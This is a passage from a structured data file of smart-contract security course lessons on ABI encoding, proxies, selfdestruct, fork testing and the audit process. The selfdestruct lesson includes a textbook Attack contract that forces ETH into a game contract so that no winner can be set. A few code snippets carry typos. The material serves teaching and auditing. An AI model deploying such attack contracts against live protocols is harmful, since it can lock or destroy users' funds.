instructions?\n\nWell ...\n\n### Intro to EVM Opcodes\n\n> Opcodes are the building blocks of EVM instructions. Each opcode represents a specific operation.\n\nOpcodes are effectively the alphabet of the ethereum machine language. Each pair of characters in the binary object discussed above represents an Opcode with pertains to a specific operation to be performed.\n\nYou can find a list of the EVM Opcodes [**here**](https://www.evm.codes/?fork=shanghai).\n\nThis means that the binary object we pass in our blockchain transactions is ultimately a long list of these operations we're telling the EVM to perform.\n\n### Why This Matters\n\nUntil now we've only used `encode` and `encodePacked` to concatenate strings, but in reality these functions are much more powerful. You can encode virtually anything into its binary format.\n\n- **abi.encode** - returns the binary of the provided argument\n- **abi.encodePacked** - returns the binary of the provided argument, but with stipulation/compression\n - types shorter than 32 bytes are concatenated directly, without padding or sign extension\n - dynamic types are encoded in-place and without the length.\n - array elements are padded, but still encoded in-place\n\nRead more about [**Non-standard Packed Mode**](https://docs.soliditylang.org/en/latest/abi-spec.html#abi-packed-mode)\n\nThe other side to this whole equation is that we also have the ability to _`decode`_ things.\n\n\"block\n\nand finally .. we can even `multiEncode` and `multiDecode`.\n\n## \"block\n\n# Conclusion\n\nHopefully this lesson has shed some light on some of the finer details of using encoding functions in solidity and the power they can hold. In the next lesson we'll be looking at how to encode function calls directly.\n", + "updates": [] + }, + { + "lessonId": "8aaefdb7-de7a-47ce-abbd-953fb53bb1c5", + "number": 11, + "title": "Encoding Functions", + "slug": "encoding-function", + "folderName": "11-encoding-function", + "description": "Delve into the concept of ABI encoding for direct function calls in Ethereum. This lesson highlights how to populate the data field in transactions with binary code for specific function calls, enhancing the ability to interact with the Ethereum Virtual Machine.", + "duration": 6, + "videoUrl": "89KzeB39oMA00iePKhUu02hMA7W1yWJ600yiT7LW7YDKNg", + "rawMarkdownUrl": "/routes/security/1-review/11-encoding-function/+page.md", + "markdownContent": "---\ntitle: Introduction to Enconding Function Calls Directly\n---\n\n_Follow along with the video_\n\n---\n\n## Understanding ABI Encoding\n\nWith the previous lesson's foundation laid, lets look at what encoding is like within the context of sending transactions.\n\nWe know the EVM is looking for this encoded information, this binary _stuff_. And since transactions sent to the blockchain are ultimately compiled down to this binary, what this allows us to do is populate the `Data` property of a transaction with this binary ourselves.\n\n
\n
\n \"block \n
Remember the properties of a Transaction
\n
\n
\n\n### ABI Encoding and Transactions\n\nWhen an Ethereum transaction is initiated, it is essentially reduced to binary code. This transformation pertains not just to a contract deployment but also a function call. In both cases - transactions and function calls - the data field holds the key.\n\nIn a contract deployment, the data field contains the contract's binary code. But for a function call, the data field holds the instructions about what data to send and which function to address.\n\nLet's dive into an example. If we inspect a transaction on Ethereum using Etherscan, you'll notice a field labeled 'Input data.' Within this field, you'll discover a jumble of hexadecimals - this is the encoded function call.\n\n**Example Input Data**\n\n```js\nFunction: enterRaffle(...)\nMethod ID: 0x2cfcc539\n```\n\nThis `Method ID`, sometimes referred to as a `function signature`, is an encoding of that particular function, including it's name and argument types.\n\nThis encoded function call in the data field is how the EVM, or any EVM compatible chain, deciphers which function should be executed.\n\n### Direct Function Calls\n\n\"block\n\nWith our understanding of ABI encoding, the possibilities expand. We're now able to populate the data field of our transactions directly with the binary or hex code corresponding to the desired function call. Remember, when you initially compile your transaction, `data` was a field that existed? This is where that comes into play.\n\nYou may wonder why this ability is any better than directly using the interface or the Application Binary Interface (ABI). However, there could be scenarios when you might only possess the function name or the parameters. You might even want your code to make arbitrary calls, dangling at the edge of advanced programming. This is when knowing how to populate the data field directly becomes pivotal.\n\n### Sending the Transactions\n\nSo, how do we transform this understanding into action - how do we populate the data field and then send these custom, data-encoded transactions?\n\nIn solidity, we rely on some low-level keywords - `staticcall` and `call` - to perform this function. `staticcall` and `call` are used for view or pure functions and functions that change the blockchains' state, respectively.\n\nIn these functions, the code that specifies a particular function to execute goes into the parentheses (data field). For instance, in a previous function utilized for our lottery contract,\n\n```js\nfunction withdraw(address recentWinner) public {\n (bool success, ) = recentWinner.call{value: address.(this).balance}(\"\");\n require(success, \"Transfer Failed\");\n}\n```\n\nthe `{value: address.(this).balance}` segment updates the transaction's value field while the empty parentheses imply there's no function to call; the transaction merely sends money.\n\nHowever, if a function needs to be executed or data should be sent, it can be specified in the parentheses, let's combine this with our previous `Method ID` we got from etherscan.\n\n```js\nfunction enterRaffle(uint256 entryFee) public payable {\n PuppyRaffle puppyRaffle = new PuppyRaffle;\n puppyRaffle.call{value: entryFee}(\"0x2cfcc539\");\n}\n```\n\nIn the above example, you can see that we're passing the `entryFee` as an argument to the `value` property of the transaction and in the `data` field we are populating the `function signature`. This will tell the EVM, what to call, where and how much to send.\n\n### Wrap Up\n\nTo wrap it up, remember that although the realm of Ethereum and EVM might seem overwhelming at first, understanding their machinations, such as ABI encoding, one concept at a time allows you to become an active participant in the blockchain network, enhancing your ability to interact effectively and perform more advanced operations.\n\n> \"The function of good programming is to do the thinking for you, to the extent possible, so that when you're using it, your mind is free to think.\" - Joshua Bloch\n", + "updates": [] + }, + { + "lessonId": "315ac33d-e452-4aa2-b577-9b72f1f6ace2", + "number": 12, + "title": "Upgradeable contracts", + "slug": "upgradeable-contracts", + "folderName": "12-upgradeable-contracts", + "description": "Explore the design of upgradeable smart contracts using Proxy and Delegate Call. This lesson covers the functionality, applications, and coding techniques of these concepts, crucial for managing contract upgrades while preserving the contract's state.", + "duration": 1, + "videoUrl": "K902iJAEuzYdUJQaaieWgz3yUelOZCZUtSaxpVa2HZB4", + "rawMarkdownUrl": "/routes/security/1-review/12-upgradeable-contracts/+page.md", + "markdownContent": "---\ntitle: Upgradeable Contracts\n---\n\n_Follow along with the video_\n\n---\n\n## Upgradeable Contracts\n\nIn this section we're going to ask ourselves `what is a proxy?` and `how does delegateCall` work? in an effort to better understand the advantages and disadvantages of upgradeable smart contracts.\n\nAll the code we'll be working with here is available in the Upgrades repo of the Foundry Course, available [**here**](https://github.com/Cyfrin/foundry-upgrades-f23/tree/main).\n\n## SmallProxy.sol\n\nLet's take a look at a simple proxy example:\n\n```js\n// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.19;\n\nimport \"@openzeppelin/contracts/proxy/Proxy.sol\";\n\ncontract SmallProxy is Proxy {\n // This is the keccak-256 hash of \"eip1967.proxy.implementation\" subtracted by 1\n bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n\n function setImplementation(address newImplementation) public {\n assembly {\n sstore(_IMPLEMENTATION_SLOT, newImplementation)\n }\n }\n\n function _implementation() internal view override returns (address implementationAddress) {\n assembly {\n implementationAddress := sload(_IMPLEMENTATION_SLOT)\n }\n }\n}\n```\n\n> Note: we're importing `Proxy.sol` from [**openzeppelin**](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/proxy/Proxy.sol) as a boilerplate proxy for our example.\n\n### Preface to Yul\n\nThe contract we're importing here uses a lot of `Yul`.\n\n> \"`Yul` is an intermediate language that can be compiled to bytecode for different backends.\" - [**Solidity Docs**](https://docs.soliditylang.org/en/latest/yul.html)\n\nWe won't go too deeply into `Yul`, but please read more in the documentation if it interests you. Note, however, even if you're a really advanced user, avoiding the implementation of really low-level calls is preferred. It's much easier to make significant errors, the lower you are in your code.\n\n### Proxy.sol - a closer look\n\nWithin our `Proxy.sol` contract, we've got the `_delegate()` function. This function is called by `Proxy.sol`'s `fallback()` function. This means any time our contract received data for a function it doesn't recognize, it's going to call our `_delegate()` function.\n\nThe `_delegate()` function, then sends that data over to some `implementation` contract.\n\n\"block\n\nLooking at `SmallProxy.sol` you can see you have these two functions:\n\n```js\nfunction setImplementation(address newImplementation) public {\n assembly {\n sstore(_IMPLEMENTATION_SLOT, newImplementation)\n }\n }\n\n function _implementation() internal view override returns (address implementationAddress) {\n assembly {\n implementationAddress := sload(_IMPLEMENTATION_SLOT)\n }\n }\n```\n\n- **setImplementation()** - changes the implementation contract, effectively allowing a protocol to upgrade.\n- **\\_implementation** - reads the location of the implementation contract\n\nYou may also have noticed `bytes32 private constant _IMPLEMENTATION_SLOT = ...` this is the storage slot where we are storing the address of our implementation contract. You can read more about `Standard Proxy Storage Slots` in [**EIP-1967**](https://eips.ethereum.org/EIPS/eip-1967)\n\nLet's consider a basic implementation contract:\n\n```js\ncontract ImplementationA {\n uint256 public value;\n\n function setValue(uint256 newValue) public {\n value = newValue;\n }\n}\n```\n\nNow we ask ourselves `What data needs to be passed to my proxy contract in order to call this function?`\n\nIf you recall from the last lesson, this data being passed is going to be the encoded function signature and any necessary arguments the function requires! We can get this encoding with a couple helper functions added to `SmallProxy.sol`:\n\n```js\n// helper function\n function getDataToTransact(uint256 numberToUpdate) public pure returns (bytes memory) {\n return abi.encodeWithSignature(\"setValue(uint256)\", numberToUpdate);\n }\n```\n\nNow let's use a little assembly to read the storage slot this value is set to:\n\n```js\nfunction readStorage() public view returns (uint256 valueAtStorageSlotZero) {\n assembly {\n valueAtStorageSlotZero := sload(0)\n }\n }\n```\n\nWith that all set up, here's what we'd do next:\n\n1. deploy both `SmallProxy.sol` and `ImplementationA.sol`\n2. call the `setImplementation()` function on `SmallProxy.sol`, passing it `ImplementationA`'s address as an argument\n3. acquire the data needed for the transaction being sent\n > By passing `777` to our `getDataToTransact()` function we have returned: `0x552410770000000000000000000000000000000000000000000000000000000000000309` this encodes the `function signature` with the passed arguement of `777`.\n\nWhen this is passed to our proxy contract, the contract won't recognize the function signature, will call `fallback()` (which calls `_delegate()`) and pass the data to our implementation contract which DOES recognize this data!\n\n4. Send transaction with the data\n\nNow, when we call the `readStorage()` function, we can see that the value on our proxy contract has indeed been set to `777`!\n\nThis is a great illustration of how data is routed from our proxy contract to the implementation contract. Let's see what happens when we upgrade things by changing the implementation contract.\n\nIf we deploy a new implementation:\n\n```js\ncontract ImplementationB {\n uint256 public value;\n\n function setValue(uint256 newValue) public {\n value = newValue + 2;\n }\n}\n```\n\n...and subsequently pass this new address to our proxy's `setImplementation()` function...\n\n```js\nfunction setImplementation(address implementationB);\n```\n\nWhen we then pass the same data as before to our proxy contract, we can indeed see this is reaching `implementationB` and we're having returned `newValue +2`!\n\n\"block\n\n---\n\n### Wrap up\n\nNow, with this understanding in hand, it's easy to see the power proxies hold. On one hand, they are very convenient and afford developers some safeguard if things should need to change. On the other - if this process is controlled by a single (or small group) of wallets, this opens the door to some high risk centralization concerns.\n\nNext, we'll be looking at `selfDestruct` and how it can be used to circumvent intended contract funtionality!\n", + "updates": [] + }, + { + "lessonId": "69e4923d-69e2-4b4e-9856-272cf26ae896", + "number": 13, + "title": "Self Destruct", + "slug": "self-destruct", + "folderName": "13-self-destruct", + "description": "Understand the use and implications of the selfdestruct keyword in Solidity. This lesson explains how selfdestruct can remove contracts and force ETH into specified addresses, a unique behavior with significant impact on contract functionality and security.", + "duration": 10, + "videoUrl": "y16ZuIMXnksLcdt7e001joR3NOYorDkw01mkxf6Trp00hc", + "rawMarkdownUrl": "/routes/security/1-review/13-self-destruct/+page.md", + "markdownContent": "---\ntitle: Self-destruct\n---\n\n_follow along with the video_\n\n---\n\n## Forever On-chain ... mostly\n\nThe next concept I want you to know is that of the `selfdestruct()` keyword in Solidity. In essence this keyword will destroy, or delete a contract.\n\n## The Unique Characteristic of Selfdestruct\n\nWhy `selfdestruct` stands out lies in its exceptional behavior once a contract gets destroyed. Any Ethereum (or ETH) residing within the deleted contract gets automatically ‘pushed’ or ‘forced’ into any address that you specify.\n\nUnder normal circumstances a contract that doesn't contain a receive or fallback function (or some other payable function capable of receiving funds) cannot have ETH sent to it.\n\nOnly through the use of `selfdestruct` can you be permitted to push any Ethereum into such a contract.\n\nSo if ever you’re hunting for an exploit, or you have identified an attack where you need to force ETH into a contract, `selfdestruct` will be your instrument of choice.\n\n## `selfdestruct` in Action\n\nTo get a clear understanding, let’s put these into practice. Starting with a code base from [Solidity by example](https://solidity-by-example.org/hacks/self-destruct/) - and then carrying it into Remix, we will be able to observe this concept directly in action.\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.20;\n\n// The goal of this game is to be the 7th player to deposit 1 Ether.\n// Players can deposit only 1 Ether at a time.\n// Winner will be able to withdraw all Ether.\n\n/*\n1. Deploy EtherGame\n2. Players (say Alice and Bob) decides to play, deposits 1 Ether each.\n2. Deploy Attack with address of EtherGame\n3. Call Attack.attack sending 5 ether. This will break the game\n No one can become the winner.\n\nWhat happened?\nAttack forced the balance of EtherGame to equal 7 ether.\nNow no one can deposit and the winner cannot be set.\n*/\n\ncontract EtherGame {\n uint public targetAmount = 7 ether;\n address public winner;\n\n function deposit() public payable {\n require(msg.value == 1 ether, \"You can only send 1 Ether\");\n\n uint balance = address(this).balance;\n require(balance <= targetAmount, \"Game is over\");\n\n if (balance == targetAmount) {\n winner = msg.sender;\n }\n }\n\n function claimReward() public {\n require(msg.sender == winner, \"Not winner\");\n\n (bool sent, ) = msg.sender.call{value: address(this).balance}(\"\");\n require(sent, \"Failed to send Ether\");\n }\n}\n\ncontract Attack {\n EtherGame etherGame;\n\n constructor(EtherGame _etherGame) {\n etherGame = EtherGame(_etherGame);\n }\n\n function attack() public payable {\n // You can simply break the game by sending ether so that\n // the game balance >= 7 ether\n\n // cast address to payable\n address payable addr = payable(address(etherGame));\n selfdestruct(addr);\n }\n}\n\n```\n\nLooking closely at the above contracts, we can see that `EtherGame` requires `address(this).balance == targetAmount`. The expectation of the protocol is that any user can only deposit 1ETH and each deposit transaction is checked as a winner.\n\nCan you think of how we'd break these invariants?\n\nBy leveraging `selfdestruct(payable(address(etherGame)));` on our `Attack` contract, we can force ETH to the `EtherGame` contract that isn't accounted for.\n\n```js\nif (balance == targetAmount) {\n winner = msg.sender;\n}\n```\n\nBy forcing enough ETH to `EtherGame` we can assure the above condition is never met and a winner is never decided!\n\n## Conclusion\n\nThe `selfdestruct()` function is powerful. It's one of the only ways to force a contract to receive ETH that it doesn't want and in so doing exists as an attack vector for any protocol not prepared for it.\n", + "updates": [] + }, + { + "lessonId": "bb5432c8-381c-4143-9c43-d37769c15557", + "number": 14, + "title": "Fork Tests", + "slug": "fork-tests", + "folderName": "14-fork-tests", + "description": "This final lesson guides you through the process of conducting fork tests, creating a simulated version of the mainnet for testing purposes. It covers the use of tools like Alchemy URL and practical exercises to solidify your understanding of Solidity and smart contract development.", + "duration": 6, + "videoUrl": "xIGaLqCsO54VGZN46tCho9Eu1EQVa5P4tZUILwZx60100", + "rawMarkdownUrl": "/routes/security/1-review/14-fork-tests/+page.md", + "markdownContent": "---\ntitle: Fork Tests & Congrats!\n---\n\n_follow along with the video_\n\n---\n\n## Forking Mainnet\n\nForking is a valuable tool is a developer's box, it effectively takes a reference snapshot at a given block height on the provided chain. In practice, this allows us to interact with protocols as though we were interacting with them on mainnet.\n\n## Fork Tests in Foundry\n\n```bash\nforge test fork-url $MAINNET_RPC_URL\n```\n\nThis command in foundry tells the framework to run your tests while referencing a fork of the provided RPC URL, allowing you to interact with mainnet contract locally.\n\nAnother way to fork is within the test contract directly.\n\n```js\nfunction setUp() public {\n vm.createSelectFork({blockNumber: 0, urlOrAlias: \"mainnet\"})\n}\n```\n\n> Note: `mainnet` will need to be set as an alias in your `foundry.toml` under a new variable `[rpc_endpoints]`\n\n```js\n[rpc_endpoints];\nmainnet = \"{MAINNET_RPC_URL}\";\n```\n\nWith the above in place running the following will run your tests with respect to a fork of a live chain!\n\n```bash\nforge test\n```\n\n## Useful Resources & Exercises\n\nIf any concepts covered in this blog post seem confusing or new to you, take a moment to check out the Foundry Full Course here on Updraft ([**Foundry Fundamentals**](https://updraft.cyfrin.io/courses/foundry) & [**Advanced Foundry**](https://updraft.cyfrin.io/courses/advanced-foundry)) to level up those concepts and give you all the information you need to succeed here. These resources will expedite your learning and help you solidify the fundamental concepts.\n\nBefore signing off, I'd encourage you to join the [Cyfrin Discord](https://discord.com/invite/NhVAmtvnzr). This is an excellent platform where you can connect, collaborate, and share insights with a diverse group of people working on similar goals.\n\nIn addition to this, check out the [**Discussions on GitHub**](https://github.com/Cyfrin/security-and-auditing-full-course-s23/discussions) - this is a phenomenal place to get support and have your questions answered in a way that will be indexed by search engines and AI in an effort to improve the experience for people coming behind us.\n\n\"block\n\nCongratulations on finishing the refresher! Take a break, you greatly deserve it for getting this far!\n\n---\n\nSection 1 NFT Challenge 👀\n\n[Refresher NFT (Arb)](https://arbiscan.io/address/0x7a0f40757f6ba868b44ce959a1d4b8bc22c21d59)\n\n[Refresher NFT (Sepolia)](https://sepolia.etherscan.io/address/0x76d2403b80591d5f6af2b468bc14205fa5452ac0)\n", + "updates": [] + } + ] + }, + { + "number": 2, + "sectionId": "1645f5be-0f61-49bc-aba5-9485020053bd", + "title": "What is a smart contract audit", + "slug": "audit", + "folderName": "2-audit", + "lessons": [ + { + "lessonId": "5a691a25-f2f3-4e52-a6d6-7fbb09d85976", + "number": 1, + "title": "What is a smart contract audit?", + "slug": "what-is-an-audit", + "folderName": "1-what-is-an-audit", + "description": "This lesson delves into what a smart contract audit, or more accurately, a security review, truly entails. It discusses the three phases of a security review, the importance of these reviews in ensuring code security on immutable blockchain systems, and effective techniques used in the process. The lesson also emphasizes the distinction between the terms 'audit' and 'security review' and their implications in the context of blockchain and smart contracts.", + "duration": 10, + "videoUrl": "XQFbLD01uq85UnD00r4HRqNTLJR1N2SXmGzFieV5TaOi8", + "rawMarkdownUrl": "/routes/security/2-audit/1-what-is-an-audit/+page.md", + "markdownContent": "---\ntitle: What is a Smart Contract Audit?\n---\n\n_Follow along with this video:_\n\n##\n\n---\n\nYou might think you've got a grip on what a smart contract audit is all about, but this lesson aims to help you dive deeper and truly comprehend the whole process. Brace yourself, as today we are stepping into the interesting realm of security reviews.\n\nLet's start off by stating that the term \"smart contract audit\" is a bit of a misnomer. As a more appropriate alternative, I am a stout advocate of \"security review.\" I even have a T-shirt to prove my allegiance!\n\nYou might be wondering why this change of terms is required. Well, it’s because the term 'audit' might wrongly insinuate some kind of guarantee or even encompass legal implications. A security review, being free of these misconceptions, exudes the essence of what we are actually doing: looking for as many bugs as possible to ensure maximum code security.\n\n> Note: Despite this, many protocols still insist on requesting a \"smart contract audit,\" so it's eminent to know that the terms are interchangeable. When you hear \"security review\", think \"smart contract audit\" and vice versa. Protocols are often unaware of these nuances, but you, as a trained security researcher, know better!\n\nBy now, I hope you're questioning with anticipation: \"What does a security review entail?\"\n\n## The Three Phases of a Security Review\n\nRight in our GitHub repository, we detail the three phases of a security review and what that process looks like.\n\n 1. Initial Review\n a. Scoping\n b. Reconnaissance\n c. Vulnerability identification\n d. Reporting\n 2. Protocol fixes\n a. Fixes issues\n b. Retests and adds tests\n 3. Mitigation Review\n a. Reconnaissance\n b. Vulnerability identification\n C. Reporting\n\nTo give you a heads-up, there really isn't a \"one-size-fits-all\" approach to smart contract auditing. There are several unique strategies, each bringing a different set of pros and cons to the table.\n\nIn this course we'll discuss two particularly effective techniques, `\"the Tincho\"` and `\"the Hans\"`, to help familiarize you with the process. However, remember that these are just examples; there isn’t a definitive, \"correct\" way of performing a security review.\n\nBefore we delve into the specifics, let's discuss why security reviews are critical.\n\n## Importance of Security Reviews\n\n> A smart contract audit is a timeboxed, security based review of your smart contract system. An auditor's goal is to find as many vulnerabilities as possible and educate the protocol on ways to improve their codebase security and coding best-practices moving forward.\n\nAs code deployed to a blockchain is immutable, it’s crucial that it's error-free before deployment. The permissionless and adversarial nature of the blockchain means that protocols need to be ready to repel malicious users. Failure to do so can lead to hefty monetary losses, as evidenced by the nearly $4 billion stolen due to smart contract vulnerabilities last year.\n\nThe benefits of conducting a security review go beyond just minimizing vulnerabilities.\n\nIt also aids protocol developers in enhancing their understanding of the code itself, thereby accelerating feature implementation and increasing effectiveness. A security review can also familiarize your team with the latest trends and tooling in the space.\n\nOften a single audit won't be enough, protocols are really entering into a security journey which may include:\n\n- Formal Verification\n- Competitive Audits\n- Mitigation Reviews\n- Bug Bounty Programs\n\nWith this understanding, let's familiarize ourselves with the process of a typical audit.\n\n### Reach Out for a Review\n\nThe review process begins when a protocol reaches out, be it before or after their code is complete. After they make contact, it's important to determine the cost of a review based on things like:\n\n- Code Complexity/nSLOC\n- Scope\n- Duration\n- Timeline\n\nLines of Code: Duration\n\n- 100 : 2.5days\n- 500 : 1 Week\n- 1000 : 1-2 Weeks\n- 2500 : 2-3 Weeks\n- 5000 : 3-5 Weeks\n- 5000+: 5+ weeks\n\nTake this with a lot of salt though, as these timelines vary largely based on circumstance.\n\nWith the submission of a `commit hash` and `down payment` by the protocol and start date can be set!\n\n> Note: The `commit hash` is the unique ID of the codebase an auditor will be working with.\n\n### Audit Begins\n\nNow that the admin work is done, auditors can roll up their sleeves and get to work. Using everything in their arsenal, they will strive to find as many vulnerabilities as possible in your code.\n\n### Initial Report\n\nOnce the review period is over, the auditors compile an initial report. This report includes all findings, categorized according to severity\n\n- High\n- Medium\n- Low\n- Information/Non-critical\n- Gas Efficiencies\n\nHigh, medium and low findings have their severity determined by the impact and likelihood of an exploit.\n\nInformational/Non-Critical and Gas are findings focused on improving the efficiency of your code, code structure and best practices. These aren't vulnerabilities, but ways to improve your code.\n\n### Mitigation Phase\n\nThe protocol's team then has a fixed period to address the vulnerabilities found in the initial audit report. More often than not, they can simply implement the recommendations provided by the auditors.\n\n### Final Report\n\nUpon completion of the mitigation phase, the audit team compiles a final audit report focusing exclusively on the fixes made to address the initial report's issues. Hopefully, this cements a strong relationship between the protocol and the audit team, fostering future collaborations to keep Web3 secure.\n\n## Ensuring a Successful Audit\n\nFor an audit to be as successful as possible, you should ensure that there's:\n\n- Good documentation\n- A solid test suite\n- Clear and readable code\n- Modern best practices are followed\n- Clear communication channels\n- An initial video walkthrough of the code\n\nBy considering auditors as an extension of your team, maintaining an open channel of communication, and providing them with the necessary documentation and context, you ensure the audit process is smoother and more accurate, providing auditors valuable context of the codebase.\n\n## Post Audit\n\nLastly, remember that a smart contract audit is an integral part of a security journey rather than an endpoint. Even after an audit, any subsequent code changes need to be reviewed as the new code is unaudited, regardless of the size of the change.\n\n> Remember: One audit might not be enough. Getting more eyes on your code is only going to increase the chances of catching vulnerabilities before it's too late\n\n## What an audit _isn't_\n\nGoing through a security review does not mean that your code is bug free. Security is a continuous process tha tis always evolving.\n\n## In Closing\n\nThis should have provided you a high-level understanding of what a security review is, what it's comprised of and what to expect while performing one.\n\nWe'll detail some of the specific differences between `competitive` and `private` audits in a later section.\n\n> \"There is no silver bullet in smart contract auditing. But understanding the process, methods, and importance of regular security reviews can significantly enhance your protocol's robustness.\"\n", + "updates": [] + }, + { + "lessonId": "66f3d1fb-3ed8-4a12-9164-49b28b28281a", + "number": 2, + "title": "The audit process", + "slug": "the-audit", + "folderName": "2-the-audit", + "description": "This lesson offers a comprehensive guide to the smart contract audit process, outlining the key steps from initial context gathering to the final mitigation review. It highlights the importance of embedding security audits throughout the development lifecycle, following the OWASP guide, to ensure the continuous security of smart contracts.", + "duration": 5, + "videoUrl": "Um3uQhbBS2PBoz01L9dAdJAZ8m3EtU7KNdIX7Xjp02T0200", + "rawMarkdownUrl": "/routes/security/2-audit/2-the-audit/+page.md", + "markdownContent": "---\ntitle: The Audit (Security Review Process)\n---\n\n_Follow along with this video:_\n\n---\n\nWhen developing smart contracts, understanding and following the audit process is a crucial step towards achieving a more secure protocol. Here, we'll outline an example of this process.\n\n## High-Level Overview of The Audit Process\n\nThe smart contract audit process can be briefly summed up in these steps:\n\n1. **Get Context**: Understand the project, its purpose and its unique aspects.\n2. **Use Tools**: Employ relevant tools to scan and analyze the codebase.\n3. **Manual Reviews**: Make a personal review of the code and spot out unusual or vulnerable code.\n4. **Write a Report**: Document all findings and recommendations for the development team.\n\nTo illustrate how this pans out in reality, we can look at the Tincho method used to audit ENS – a process that landed him a cool $100,000 payout! We'll delve into this later on.\n\n## Breakdown of the Audit Process\n\nFor a more detailed perspective, let’s consider the process as broken into three distinct phases:\n\n**Initial Review:** The initial review of a protocol can also be broken down into 4 distinct phases.\n\n- Scoping - This is getting a sense of the protocol. In this phase, auditors go through the code to scope it. This gives an idea of how much time might be required for the audit, which can then be used to establish pricing. Key tasks include identification of all the contract’s dependencies and a general overview of the code. At this stage, auditors don’t dig deep into anything yet.\n- Reconnaissance - Here an auditor starts walking through the code, running tools, interacting with the protocol in an effort to break it.\n- Vulnerability Identification - An auditor determines which vulnerabilities are present and how they're exploited as well as mitigation.\n- Reporting - Compile a report detailing all of the identified vulnerabilities and recommendations to make the protocol more secure.\n\n> \"Your job is to do whatever it takes to make the protocol more secure.\"\n\n**Protocol Fixes:** At this stage the protocol will take an auditor's report and work towards implementing suggested changes and mitigation. The length of time of this period can vary based on complexity of the issues, number of vulnerabilities identified and more.\n\n**Mitigation Review:** Once a protocol has employed and tested all of the recommended fixes, a review is conducted with a focus on verifying that previously reported vulnerabilities have been resolved.\n\nYour ultimate aim should be to make the protocol more secure. Therefore, ensure to take notes of all findings and steps and elaborate it in your report.\n\n> Difference in Audit Types: Note that the aforementioned process details a private audit or a traditional security review. For competitive audits, you are typically optimized for time and identifying as many high vulnerabilities as possible.\n\nRemember, the goal of conducting contract audits isn't simply to tick a box. It's about ensuring the security and smooth running of the smart contract at all stages of its lifecycle. The more audits you conduct, the better you become at identifying potential security issues.\n\n
\n\n
\n\n## Embedding Security Audits in Development Lifecycle\n\nThe process of developing a smart contract follows a lifecycle too. According to the [OWASP](https://www.owasp.org/index.php/Main_Page) (The Open Web Application Security Project) guide, security isn't just a one-off step but a part of your ongoing smart contract journey. It is about fostering the mindset that security is continuous. The smart contract developer lifecycle entails the following stages:\n\n1. **Plan and Design**\n2. **Develop and Test**\n3. **Get an Audit**\n4. **Deploy**\n5. **Monitor and Maintain**\n\nOWASP strongly emphasizes that embedding security considerations into all stages of your Development Lifecycle is what it takes to build a secure decentralized application, not just conducting a one time smart contract “check.” Before deploying your contract, think hard about the security measures in place and ensure to maintain and monitor your code post-deployment.\n\nWhile a smart contract security audit is an absolute necessity, also ensure to plan for any contingencies post-deployment. The key takeaway here is this: Smart contract security is a crucial part of the smart contract development lifecycle and should be treated with as much care as the development of the smart contract itself.\n", + "updates": [] + }, + { + "lessonId": "92351a2d-d6b4-4e2b-bcb5-885069e268d7", + "number": 3, + "title": "Rekt test", + "slug": "rekt-test", + "folderName": "3-rekt-test", + "description": "This lesson introduces the Rekt Test, a set of critical questions designed to assess a protocol's readiness for a security audit. Covering aspects like documentation, security roles, and protective measures, it serves as a foundational checklist for developers to gauge if their protocols are prepared for thorough security evaluations.", + "duration": 4, + "videoUrl": "o8pD01qyek02l5jZzhkuYQUPMk1RosmjfV28tzk6N02Wqc", + "rawMarkdownUrl": "/routes/security/2-audit/3-rekt-test/+page.md", + "markdownContent": "---\ntitle: Rekt Test\n---\n\n_Follow along with this video:_\n\n---\n\n## Audit Readiness\n\nThe concept that once you've had an audit done, you're ready to ship - is wrong. There are two tests that I tell everyone to look at prior to getting a security review one is the [**nacentxyz simple-security-toolkit**](https://github.com/nascentxyz/simple-security-toolkit) and the other is [**The Rekt Test**](https://blog.trailofbits.com/2023/08/14/can-you-pass-the-rekt-test/), by Trail of Bits.\n\n### The Rekt Test\n\nThe Rekt Test is highly important as it poses a set of questions to gauge your protocol's preparedness for an audit. This tool forces you to think about security measures from a more proactive angle. Should your protocols fail to answer these questions, the chances are that they're not audit-ready.\n\n\n\nThe questions touch on several aspects like documentation, security roles, security tools, and protective measures, among others. Here's a curated list:\n\n- **Do you have all actors roles and privileges documented?**\n- **Do you keep documentation of external services contracts and Oracles?**\n- **Do you have a written and tested incident response plan?**\n- **Do you document the best ways to attack your system?**\n- **Do you perform identity verification and background checks on all employees?**\n- **Do you have a team member with security defined in the role?**\n- **Do you require hardware security keys for production systems?**\n- **Do you define key invariants for your system and test them on every commit?**\n- **Do you use the best automated tools to discover security issues in your code?**\n- **Do you undergo external audits and maintain a vulnerability disclosure or bug bounty program?**\n- **Have you considered and mitigated avenues for abusing users of your system?**\n\nAs developers, you must be able to answer all these queries before you proceed with an audit. If you're dealing with a protocol that fails to answer these questions, it's best to tell them the protocol isn't ready to ship, or arguably audit, until they can.\n\n> \"Delegate responsibility to someone on your team for security - Give your project a sense of ownership and a point person to handle any security breaches.\"\n\n### Nascent Audit Readiness Checklist\n\n[**This**](https://github.com/nascentxyz/simple-security-toolkit) checklist is another effective method to assess if you're ready for an audit. Though it offers different perspectives, it's another tool that helps you determine if your protocols are prepared for audits.\n\n### Next Steps and Post Deployment\n\nWe'll later cover the important of Post Deployment Planning and all that entails, including:\n\n- Bug Bounty Programs\n- Disaster Recovery Drills\n- Monitoring\n\nThinking about the steps necessary _after_ deployment really frames a protocols security holistically and ensures readiness to deal with potential exploits and ability to respond quickly.\n", + "updates": [] + }, + { + "lessonId": "27302144-7410-43ef-939a-a772d20cbed8", + "number": 4, + "title": "Security Tools", + "slug": "tools", + "folderName": "4-tools", + "description": "", + "duration": 5, + "videoUrl": "EKJ02V7fAflkO2wJLhBp8K4oztVnAY5vzb902OBL2znZM", + "rawMarkdownUrl": "/routes/security/2-audit/4-tools/+page.md", + "markdownContent": "---\ntitle: What tools do we use in Security Reviews?\n---\n\n_Follow along with this video:_\n\n---\n\n## Tools for Security Reviews\n\nLet's overview some of the tools we'll be using while performing security reviews. As we progress in the course, you'll get more hands on experience with how they work!\n\n### Your First Line of Defense: Test Suites\n\nYour classic test suite is your project's first line of defense. These are your frameworks like Foundry, Hardhat, Brownie, Apeworx - even Remix has tests.\n\n> _Rest in Peace Truffle_ 😢\n\nThis course covers some really robust test suites that you can model your tests after and we'll talk more about the concept of `test coverage` a little later on.\n\n## Static Analysis: Debugging Without Execution\n\nStatic analysis represents the next level of defense. This method automatically checks for issues without executing your code, hence the debugging process remains `static`. Slither, 4nalyzer, Mythril, and 